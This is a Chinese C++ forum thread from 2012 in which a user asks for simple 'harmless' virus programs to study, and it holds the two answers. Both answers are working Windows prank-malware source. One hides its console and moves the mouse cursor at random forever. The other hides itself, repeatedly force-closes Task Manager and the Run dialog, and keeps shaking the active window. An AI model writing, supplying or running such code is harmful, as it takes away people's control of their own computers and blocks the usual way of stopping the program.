首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > C++ >

哪位高手能提供2-3个简单的病毒程序啊

2012-03-12 
谁能提供2-3个简单的病毒程序啊?请高人给两个 没有危害性的,简单的病毒程序,不为他用,只是观摩学习之用!尽

谁能提供2-3个简单的病毒程序啊?
请高人给两个 没有危害性的,简单的病毒程序,不为他用,只是观摩学习之用!


尽可能的简单些。本人不胜感激!

分数不多,还望包涵。

[解决办法]

C/C++ code
#include <windows.h>int main(void){       FreeConsole();         int sw = GetSystemMetrics(SM_CXSCREEN);    int sh = GetSystemMetrics(SM_CYSCREEN);       for( ;; )       {        srand(GetTickCount());         SetCursorPos((rand() % sw) + 1, (rand() % sh) + 1);       }}
[解决办法]
C/C++ code
#include<windows.h>#include<math.h>#pragma comment( linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏控制台窗口DWORD WINAPI ThreadProc(                        LPVOID lpParameter                          ){    HWND hw;    while(1)//下面可以添加其他要杀掉过滤的操作    {        if(            (hw=FindWindow(NULL,"运行"))//杀掉开始菜单的运行            ||            (hw=FindWindow(NULL,"Windows 任务管理器"))//杀掉任务管理器            )            SendMessage(hw,WM_CLOSE,0,0);        //下面可以添加其他要杀掉过滤的操作        Sleep(50);    }}void ReMoveWin(HWND hwnd, int sleep, int r){    RECT cr,c1;    int w,h,i;    GetWindowRect(hwnd,&cr);//获取前景窗口句柄    c1=cr;    w=c1.right-c1.left;    h=c1.bottom-c1.top;    for(i=1;i<=1080;i=i+8)    {               c1.left+=(int)(r*cos(i*3.14/180));        c1.top+=(int)(r*sin(i*3.14/180));        MoveWindow(hwnd,c1.left,c1.top,w,h,1);//移动窗口        Sleep(sleep);    }    MoveWindow(hwnd,cr.left,cr.top,w,h,1);//移动窗口}   DWORD WINAPI ThreadProc1(                        LPVOID lpParameter                          ){    while(1)    {        ReMoveWin(GetForegroundWindow(),4,2);        Sleep(80);    }}void main(){    HANDLE handle[2];    handle[0]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc,NULL,0,NULL);//创线程    handle[1]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc1,NULL,0,NULL);//创建线程    MessageBox(NULL,"嘿嘿。。纯属娱乐!",NULL,0);    WaitForMultipleObjects(2,handle,1,-1);//等待线程} 

热点排行